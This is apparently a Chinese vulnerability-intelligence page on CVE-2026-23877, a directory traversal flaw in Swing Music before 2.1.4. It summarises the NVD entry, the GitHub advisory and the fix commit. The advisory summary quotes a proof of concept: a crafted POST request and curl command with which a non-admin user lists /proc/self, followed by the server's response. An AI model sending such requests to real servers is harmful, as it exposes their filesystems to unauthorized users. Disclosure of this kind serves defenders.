支持本站 — 捐款将帮助我们持续运营

目标:1000 元,已筹:736

73.6%
一、 漏洞 CVE-2026-23877 基础信息
漏洞信息
                                        # 目录遍历与文件系统访问漏洞

## 概述
Swing Music 的 `/folder/dir-browser` 端点中的 `list_folders()` 函数在版本 2.1.4 之前存在目录遍历漏洞。

## 影响版本
2.1.4 之前的版本。

## 细节
`list_folders()` 函数未对用户输入进行有效过滤,允许经过身份验证的用户(包括非管理员)通过构造特殊路径访问服务器文件系统中的任意目录。

## 影响
攻击者可利用该漏洞遍历并查看服务器上任意目录的文件结构,可能导致敏感信息泄露。
                                        
神龙判断

是否为 Web 类漏洞: 未知

判断理由:

N/A
提示
尽管我们采用了先进的大模型技术,但其输出仍可能包含不准确或过时的信息。
神龙会尽力确保数据准确,但也请结合实际情况进行甄别与判断。
神龙祝您一切顺利!
漏洞标题
Directory Traversal & Filesystem can be accessed by a non-admin user
来源:美国国家漏洞数据库 NVD
漏洞描述信息
Swing Music is a self-hosted music player for local audio files. Prior to version 2.1.4, Swing Music's `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem. Version 2.1.4 fixes the issue.
来源:美国国家漏洞数据库 NVD
CVSS信息
N/A
来源:美国国家漏洞数据库 NVD
漏洞类别
路径遍历:’/../filedir’
来源:美国国家漏洞数据库 NVD
二、漏洞 CVE-2026-23877 的公开POC
#POC 描述源链接神龙链接
三、漏洞 CVE-2026-23877 的情报信息
  • 标题: Directory Traversal & Filesystem can be accessed by a non-admin user · Advisory · swingmx/swingmusic · GitHub -- 🔗来源链接

    标签:x_refsource_CONFIRM

    神龙速读:
                                            ### 关键漏洞信息
    
    - **漏洞标题**: Directory Traversal & Filesystem can be accessed by a non-admin user
    - **严重性**: Moderate (5.3/10)
    - **受影响的版本**: < v2.1.4
    - **已修复版本**: v2.1.4
    - **CVE ID**: CVE-2026-23877
    - **报告者**: d-virtuosa
    
    #### 漏洞描述
    
    **概述**
    - Swing Music 的 `list_folders` 函数在 `/folder/dir-browser` 端点存在目录遍历漏洞。任何经过身份验证的用户(包括非管理员)都可以浏览服务器文件系统中的任意目录。
    
    **详细信息**
    - 该端点缺少正确的路径验证和授权检查:
      - **无需授权**: 任何经过身份验证的用户都能访问此端点。
      - **路径处理不当**: 代码尝试将 `/` 预加到不存在的路径上,但这并不能阻止遍历。
    
    **示例代码**
    ```python
    req_dir = pathlib.Path(".././.../..././etc") # -> PosixPath('.././.../..././etc')
    if not req_dir.exists():
        req_dir = "/" / req_dir # -> PosixPath('/.././.../..././etc')
    ```
    
    #### 证明概念(PoC)
    
    1. 创建一个非管理员用户。
    2. 以非管理员用户身份进行身份验证。
    3. 发送以下请求:
    ```http
    POST /folder/dir-browser HTTP/1.1
    Host: IP:1970
    Content-Type: application/json
    Cookie: access_token_cookie=non-admin-access-token
    Connection: keep-alive
    
    {"folder":"/music/././proc/self/", "tracks_only":false}
    ```
    
    或使用 `curl` 命令:
    ```bash
    curl --path-as-is -i -s -k -X $'POST' -H $'Content-Type: application/json' -b $'access_token_cookie=non-admin-access-token' \
    --data-binary $'{\"folder\":\"/music/././proc/self/\", \"tracks_only\":false}' \
    'http://IP:1970/folder/dir-browser'
    ```
    
    4. 响应将列出 `/proc/self` 目录,而不是限制在用户可访问的路径内:
    ```http
    HTTP/1.1 200 OK
    Content-Type: application/json
    Content-Length: 466
    Vary: Accept-Encoding
    Connection: Keep-Alive
    
    {"folders":[{"name":"attr","path":"/music/././proc/self/attr"},{"name":"cwd","path":"/music/././proc/self/cwd"},{"name":"environ","path":"/music/././proc/self/environ"},{"name":"exe","path":"/music/././proc/self/exe"},{"name":"fd","path":"/music/././proc/self/fd"},{"name":"fdinfo","path":"/music/././proc/self/fdinfo"},{"name":"maps","path":"/music/././proc/self/maps"}]}
    ```
    
    #### 影响
    
    **信息泄露风险**:
    - 服务器文件系统结构和布局
    - 配置文件位置和名称
    - 目录列表中的用户帐户名称
    - 软件版本和已安装的包
    - 日志文件位置和系统路径
    
    **额外风险**:
    - 为后续攻击做准备(如LFI、RCE)
    - 绕过访问控制机制
    - 暴露敏感目录结构
                                            
    Directory Traversal & Filesystem can be accessed by a non-admin user · Advisory · swingmx/swingmusic · GitHub
  • 标题: fix: directory traversal as reported by @d-virtuosa · swingmx/swingmusic@9a915ca · GitHub -- 🔗来源链接

    标签:x_refsource_MISC

    神龙速读:
                                            从这个网页截图中可以获取到以下关于漏洞的关键信息:
    
    - **漏洞类型**: 目录遍历(Directory Traversal)
    - **报告者**: @d-virtuosa
    - **修复提交**: 9a915ca
    - **修复描述**: 修复了目录遍历漏洞,防止攻击者访问未授权的目录。新的代码引入了`is_path_within_root_dirs()`函数来检查请求的路径是否在配置的根目录内。
    - **关键代码变更**:
        - 引入了新函数`is_path_within_root_dirs()`来检查文件路径是否在配置的根目录内。
        - 修改了多个函数以确保路径被正确解析和验证(如`get_folder_tree`, `get_folder_tree_tree`, `list_folders`, `list_folders`, `open_in_file_manager`)。
    
    这些信息表明开发团队已采取措施来解决目录遍历漏洞,确保系统安全。
                                            
    fix: directory traversal as reported by @d-virtuosa · swingmx/swingmusic@9a915ca · GitHub
  • https://nvd.nist.gov/vuln/detail/CVE-2026-23877
四、漏洞 CVE-2026-23877 的评论

暂无评论


发表评论